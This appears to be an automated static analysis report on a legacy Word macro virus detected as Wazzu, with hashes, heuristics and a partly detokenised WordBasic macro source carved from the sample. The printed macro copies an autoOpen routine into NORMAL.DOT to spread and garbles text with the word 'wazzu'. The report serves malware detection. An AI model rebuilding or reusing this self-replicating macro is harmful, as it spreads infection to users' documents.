Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2694786423007a4…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 5d2758e953ba65f16266b4068adfa0c5 SHA-1: 53d1bad61ac877b4f703f7ea52bfadd87fc1f1ab SHA-256: b2694786423007a4a34bef0e3e156027ebabf1e5c4cbb4dd54c91ae2a97b085e
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and ClamAV detection as 'Doc.Trojan.Wazzu-6'. The document body contains references to legacy WordBasic macro functions and file paths, suggesting an intent to execute malicious macro code upon opening.

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 567 bytes
SHA-256: 5a6c1aa4152664dfaaba6ff43b5bd45380d574ea16e11edf125e13476819619b
Preview script
First 1,000 lines of the extracted script
MAIN
, - * errCaught
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$
Payload
* Bye @cmd7468
, - * 0
Payload
i = 1 3
@cmd800e
RndWord
@cmd8116
selWord$ = @cmd8015
@cmd001c
RndWord
@cmd8012 selWord$ = " "
@cmd800e
RndWord
@cmd8012 "wazzu "
@cmdc010
RndWord
@cmd0056
dlg @cmd004e
dlg
wordNum = @cmd8002 @cmd800e @cmd8006 dlg
@cmdc010
@cmdc003 wordNum

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